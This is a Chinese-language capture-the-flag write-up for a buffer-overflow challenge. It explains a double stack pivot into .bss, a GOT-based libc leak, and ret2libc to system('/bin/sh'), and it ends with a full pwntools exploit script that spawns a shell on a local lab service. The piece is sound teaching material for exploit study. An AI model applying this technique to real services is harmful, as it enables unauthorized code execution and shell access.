一次的栈迁移似乎不够用了,你要怎样才能再次迁移呢?如何布局栈才能拿到这一题的 flag 呢?这一次,你需要把前面的知识融会贯通,才能在这一题成功。加油!
主要逻辑在 vuln() 中
ssize_t vuln()
{
_BYTE buf[64]; // [rsp+0h] [rbp-40h] BYREF
puts("This time I will not give you any gifts again.");
puts(aASingleStackPi);
puts("Think back to what you learned from the previous challenges and integrate it comprehensively.");
puts("You have made it this far—keep going, victory is not far away.");
printf("> ");
return read(0, buf, 0x50u);
}
依旧是只给了能覆盖到返回地址的溢出空间,并且该题需要调用 libc 中的函数
选择在第一次调用 read() 时进行栈迁移,第二次调用 read() 进行 libc 基地址泄露,而后再调用一次 read() 执行 system() ,所以在第一次调用 read() 时
payload_1 = b'a'*0x40 + p64(bss + 0x800) + p64(read_addr)
第一次调用 read() 后需要写入的数据
payload_2 = flat(
bss + 0x1600,
pop_rdi,
exe.got['puts'],
exe.symbols['puts'],
read_addr,
b'a' *0x18,
bss + 0x800 - 0x40,
leave
)
此时 bss 段上的数据如下

捋一下就是,在 payload_1 执行后,rbp 会指向 bss+0x800,rip 会再次执行下面的 leave,之后 rip 就会执行 pop rdi 泄露 libc 地址了,最后会再次调用到 read() 进行二次迁移
如果上面的过程熟悉了,那二次迁移就很好理解了
payload_3 = flat(
0xdeadbeff,
pop_rdi,
bin_sh,
ret,
system_addr,
b'a'*0x18,
bss + 0x1600 - 0x40,
leave
)
就是标准的 ret2libc 的流程,0xdeadbeef 可以随便改
最后的 Exp
from pwn import *
context(arch='amd64', os='linux', log_level='info')
exe = ELF("pwn_patched")
libc = ELF("libc.so.6")
# p = process('./pwn_patched')
# p = gdb.debug('./pwn_patched')
p = remote('127.0.0.1', 55005)
bss = 0x4040a0
read_addr = 0x401264
p.recvuntil(b'> ')
payload_1 = b'a'*0x40 + p64(bss + 0x800) + p64(read_addr)
p.send(payload_1)
pop_rdi = 0x40119e
leave = 0x40127b
payload_2 = flat(
bss + 0x1600,
pop_rdi,
exe.got['puts'],
exe.symbols['puts'],
read_addr,
b'a' *0x18,
bss + 0x800 - 0x40,
leave
)
p.send(payload_2)
puts_addr = p.recvn(6)
puts_addr = int.from_bytes(puts_addr, 'little')
log.success('get puts_addr --> ' + hex(puts_addr))
libc.address = puts_addr - libc.symbols['puts']
log.success('get libc.address --> ' + hex(libc.address))
ret = 0x4012ae
system_addr = libc.symbols['system']
bin_sh = next(libc.search(b'/bin/sh\x00'))
payload_3 = flat(
0xdeadbeff,
pop_rdi,
bin_sh,
ret,
system_addr,
b'a'*0x18,
bss + 0x1600 - 0x40,
leave
)
p.send(payload_3)
p.interactive()
获取 flag
